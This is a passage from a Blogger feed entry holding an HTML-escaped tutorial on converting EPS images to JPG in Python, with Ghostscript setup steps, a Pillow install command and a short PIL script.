8.1 &lt;b&gt;64-bit&lt;/b&gt;)&lt;br /&gt;3) Note down the path where it is installing&lt;br /&gt;4) Example &lt;b&gt;C:\Program Files\gs\gs9.50&lt;/b&gt;&lt;br /&gt;5) &lt;b&gt;Copy paste path into Environment Variable&lt;/b&gt;&lt;br /&gt;6) i.e &lt;b&gt;C:\Program Files\gs\gs9.50\bin;&lt;/b&gt;&lt;br /&gt;7) Open RUN &amp;gt; CMD to test by typing&lt;br /&gt;- &lt;b&gt;gswin64&lt;/b&gt; [ENTER] (WILL OPEN &lt;i&gt;GUI INTERFACE&lt;/i&gt;)&lt;br /&gt;- &lt;b&gt;gswin64c&lt;/b&gt; [ENTER] (WILL OPEN IN &lt;i&gt;CMD&lt;/i&gt; ITSELF)&lt;br /&gt;8) Close everything now you can run this script&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Download this Sample EPS image to test or use your own if you have.&lt;br /&gt;&lt;a href=&quot;https://drive.google.com/file/d/1l13IWjZmSykkCGbiCDXzkQG5yZFa30Dv/view?usp=sharing&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;https://drive.google.com/file/d/1l13IWjZmSykkCGbiCDXzkQG5yZFa30Dv/view?usp=sharing&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;And also assuming you have install PIL in python.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Else install &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span id=&quot;pip-command&quot;&gt;pip install Pillow&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span id=&quot;pip-command&quot;&gt;

   
   &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js&quot;&gt;&lt;/script&gt;

&lt;style&gt;
button {
  display: inline-block;
  padding: 5px 20px;
  font-size: 24px;
  cursor: pointer;
  text-align: center;
  text-decoration: none;
  outline: none;
  color: #fff;
  background-color: #303134;
  border: none;
  border-radius: 15px;
  box-shadow: 0 9px #999;
}

button:hover {background-color: #202124}

button:active {
  background-color: #FF7357;
  box-shadow: 0 5px #666;
  transform: translateY(4px);
}
&lt;/style&gt;

&lt;script&gt;
$(function(){
  new Clipboard(&#39;.copy-text&#39;);
});
&lt;/script&gt;


&lt;!------------------------------&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre id=&quot;content&quot; style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span id=&quot;pip-command&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;im&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;image.eps&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;im&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;save(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;image.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;JPEG&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span id=&quot;pip-command&quot;&gt;

&lt;!------------------------------&gt;


&lt;button class=&quot;copy-text&quot; data-clipboard-target=&quot;#content&quot; href=&quot;#&quot;&gt;Copy Code&lt;/button&gt;




   &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span id=&quot;pip-command&quot;&gt;ENJOY!!!&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/5674329422500173921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/how-to-convert-eps-to-jpg-using-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/5674329422500173921'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/5674329422500173921'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/how-to-convert-eps-to-jpg-using-python.html' title='How to Convert EPS to JPG using Python'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEinjTqEEQRdXn_AFZsnD3SCmVciaLDs2MHLnwx1ipertI5tH7LhjELmOTqTb_JRKWrQYFPZ1JKBPWebKkmnOSk_qln5LIJGT6frdBJQoJrMqd7kTqJYB6oz31FeCtE0cSMRdOh-gUHgTXeVj8kbASlA0d7GUORDg2bve5OUQiHQWNB8blfPDACyw1xt=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry></feed>